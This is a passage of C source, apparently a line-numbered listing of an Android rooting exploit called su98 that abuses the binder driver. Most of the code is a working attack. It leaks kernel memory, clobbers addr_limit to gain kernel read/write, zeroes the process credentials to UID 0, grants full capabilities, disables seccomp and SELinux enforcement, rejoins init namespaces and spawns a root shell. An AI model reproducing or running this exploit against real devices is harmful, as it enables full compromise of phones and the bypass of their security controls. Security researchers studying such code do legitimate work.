);
1157 char *path
= alloca(strlen(myPath
) + sizeof(denyfile
));
1158 strcpy(path
, myPath
);
1159 strcat(path
, denyfile
);
1160 FILE* f
= fopen(path
, "a");
1162 fprintf(f
, "%s\n", parent
);
1171 /* for devices with randomized thread_info location on stack: thanks to chompie1337 */
1172 unsigned long find_thread_info_ptr_kernel3(unsigned long kstack
) {
1173 unsigned long kstack_data
[16384/8];
1175 message("MAIN: parsing kernel stack to find thread_info");
1176 if (!leak_data_retry(NULL
, 0, kstack
, kstack_data
, sizeof(kstack_data
), NULL
, NULL
))
1177 error("Cannot leak kernel stack");
1179 for (unsigned int pos
= 0; pos
< sizeof(kstack_data
)/8; pos
++)
1180 if (kstack_data
[pos
] == USER_DS
)
1181 return kstack
+pos
*8-8;
1186 unsigned long find_selinux_enforcing(unsigned long search_base
) {
1187 unsigned long address
= findSymbol(search_base
, "selinux_enforcing");
1189 message("MAIN: direct search didn't work, so searching via avc_denied");
1190 address
= findSymbol(search_base
, "avc_denied");
1193 address
= findSelinuxEnforcingFromAvcDenied(address
);
1198 int main(int argc
, char **argv
)
1204 char result
[PATH_MAX
];
1205 ssize_t count
= readlink("/proc/self/exe", result
, PATH_MAX
);
1206 char* p
= strrchr(result
, '/');
1214 p
= strrchr(argv
[0], '/');
1223 if (!strcmp(myName
,"su")) {
1227 while(argc
>= 2 && argv
[1][0] == '-') {
1228 switch(argv
[1][1]) {
1233 puts("su98 version 0.01");
1249 for (int i
=1; i
<argc
-1; i
++)
1250 argv
[i
] = argv
[i
+1];
1254 if (!dump
&& argc
>= 2)
1257 checkKernelVersion();
1259 message("MAIN: starting exploit for devices with waitqueue at 0x98");
1261 if (pipe(kernel_rw_pipe
))
1262 error( "kernel_rw_pipe");
1264 binder_fd
= open("/dev/binder", O_RDONLY
);
1265 epfd
= epoll_create(1000);
1267 unsigned long task_struct_plus_8
= 0xDEADBEEFDEADBEEFul
;
1268 unsigned long task_struct_ptr
= 0xDEADBEEFDEADBEEFul
;
1270 if (!leak_data_retry(NULL
, 0, 0, NULL
, 0, &task_struct_ptr
, &task_struct_plus_8
)) {
1271 error("Failed to leak data");
1274 unsigned long thread_info_ptr
;
1276 if (task_struct_plus_8
== USER_DS
) {
1277 message("MAIN: thread_info is in task_struct");
1278 thread_info_ptr
= task_struct_ptr
;
1281 message("MAIN: thread_info should be in stack");
1282 thread_info_ptr
= find_thread_info_ptr_kernel3(task_struct_plus_8
);
1283 if (thread_info_ptr
== 0)
1284 error("cannot find thread_info on kernel stack");
1287 message("MAIN: task_struct_ptr = %lx", (unsigned long)task_struct_ptr
);
1288 message("MAIN: thread_info_ptr = %lx", (unsigned long)thread_info_ptr
);
1289 message("MAIN: Clobbering addr_limit");
1290 unsigned long const src
= 0xFFFFFFFFFFFFFFFEul
;
1292 if (!clobber_data_retry(thread_info_ptr
+ 8, &src
, 8)) {
1293 error("Failed to clobber addr_limit");
1296 message("MAIN: thread_info = 0x%lx", thread_info_ptr
);
1298 setbuf(stdout
, NULL
);
1299 message("MAIN: should have stable kernel R/W now");
1302 unsigned long start
, count
;
1303 start
= 0xffffffc000000000ul
;
1307 sscanf(argv
[1], "%lx", &start
);
1312 sscanf(argv
[2], "%lx", &count
);
1313 unsigned long search
= 0;
1318 sscanf(argv
[3], "%lx", &search
);
1322 unsigned char page
[PAGE
];
1323 for (unsigned long i
=start
; i
<start
+count
; i
+=PAGE
) {
1324 kernel_read(i
, page
, PAGE
);
1326 for (int j
=0; j
<PAGE
; j
+=8) {
1327 if (*(unsigned long*)(page
+j
)==search
) {
1334 printf("%lx:\n", i
);
1335 unsigned long n
= start
+count
-i
;
1342 hexdump_memory(page
, n
);
1349 message("MAIN: searching for cred offset in task_struct");
1350 unsigned char task_struct_data
[PAGE
+16];
1351 kernel_read(task_struct_ptr
, task_struct_data
, PAGE
);
1353 unsigned long offset_task_struct__cred
= getCredOffset(task_struct_data
);
1355 unsigned long cred_ptr
= kernel_read_ulong(task_struct_ptr
+ offset_task_struct__cred
);
1357 #ifdef OFFSET__cred__user_ns
1358 unsigned long search_base
= kernel_read_ulong(cred_ptr
+ OFFSET__cred__user_ns
);
1359 if (search_base
< 0xffffffc000000000ul
|| search_base
>= 0xffffffd000000000ul
)
1360 search_base
= 0xffffffc001744b70ul
;
1362 #define search_base 0xffffffc000000000ul
1365 message("MAIN: search_base = %lx", search_base
);
1367 message("MAIN: searching for selinux_enforcing");
1368 unsigned long selinux_enforcing
= find_selinux_enforcing(search_base
);
1370 // unsigned long selinux_enabled = findSymbol(search_base, "selinux_enabled");
1372 unsigned int oldUID
= getuid();
1374 message("MAIN: setting root credentials with cred offset %lx", offset_task_struct__cred
);
1376 for (int i
= 0; i
< 8; i
++)
1377 kernel_write_uint(cred_ptr
+ OFFSET__cred__uid
+ i
* 4, 0);
1380 error( "changing UIDs to 0");
1382 message("MAIN: UID = 0");
1384 message("MAIN: enabling capabilities");
1387 kernel_write_uint(cred_ptr
+ OFFSET__cred__securebits
, 0);
1389 kernel_write_ulong(cred_ptr
+OFFSET__cred__cap_inheritable
, 0x3fffffffffUL
);
1390 kernel_write_ulong(cred_ptr
+ OFFSET__cred__cap_permitted
, 0x3fffffffffUL
);
1391 kernel_write_ulong(cred_ptr
+ OFFSET__cred__cap_effective
, 0x3fffffffffUL
);
1392 kernel_write_ulong(cred_ptr
+ OFFSET__cred__cap_bset
, 0x3fffffffffUL
);
1393 kernel_write_ulong(cred_ptr
+OFFSET__cred__cap_ambient
, 0x3fffffffffUL
);
1395 int seccompStatus
= prctl(PR_GET_SECCOMP
);
1396 message("MAIN: SECCOMP status %d", seccompStatus
);
1399 message("MAIN: disabling SECCOMP");
1400 kernel_write_ulong(thread_info_ptr
+ OFFSET__thread_info__flags
, 0);
1401 // TODO: search for seccomp offset
1402 int offset__task_struct__seccomp
= getSeccompOffset(task_struct_data
, offset_task_struct__cred
, seccompStatus
);
1403 if (offset__task_struct__seccomp
< 0)
1404 message("MAIN: **FAIL** cannot find seccomp offset");
1406 message("MAIN: seccomp offset %lx", offset__task_struct__seccomp
);
1407 kernel_write_ulong(task_struct_ptr
+ offset__task_struct__seccomp
, 0);
1408 kernel_write_ulong(task_struct_ptr
+ offset__task_struct__seccomp
+ 8, 0);
1409 message("MAIN: SECCOMP status %d", prctl(PR_GET_SECCOMP
));
1413 unsigned prev_selinux_enforcing
= 1;
1415 if (selinux_enforcing
== 0)
1416 message("MAIN: **FAIL** did not find selinux_enforcing symbol");
1419 prev_selinux_enforcing
= kernel_read_uint(selinux_enforcing
);
1420 kernel_write_uint(selinux_enforcing
, 0);
1421 message("MAIN: disabled selinux enforcing");
1423 cacheSymbol("selinux_enforcing", selinux_enforcing
);
1428 getcwd(cwd
, sizeof(cwd
));
1430 message("MAIN: re-joining init mount namespace");
1431 int fd
= open("/proc/1/ns/mnt", O_RDONLY
);
1438 if (setns(fd
, CLONE_NEWNS
) < 0) {
1439 message("MAIN: **partial failure** could not rejoin init fs namespace");
1442 message("MAIN: rejoining init net namespace");
1444 fd
= open("/proc/1/ns/net", O_RDONLY
);
1450 if (setns(fd
, CLONE_NEWNET
) < 0) {
1451 message("MAIN: **partial failure** could not rejoin init net namespace");
1457 if (!checkWhitelist(oldUID
)) {
1458 if (0 != selinux_enforcing
) {
1459 kernel_write_uint(selinux_enforcing
, prev_selinux_enforcing
);
1462 error("Whitelist check failed");
1465 message("MAIN: root privileges ready");
1467 /* process hangs if these are done */
1468 // unsigned long security_ptr = kernel_read_ulong(cred_ptr + OFFSET__cred__security);
1469 // kernel_write_uint(security_ptr, 1310);
1470 // kernel_write_uint(security_ptr+4, 1310);
1471 // for (int i=0; i<6; i++)
1472 // message("SID %u : ", kernel_read_uint(security_ptr + 4 * i));
1474 if (command
|| argc
== 2) {
1475 execlp("sh", "sh", "-c", argv
[1], (char *)0);
1478 message("MAIN: popping out root shell");
1479 execlp("sh", "sh", (char*)0);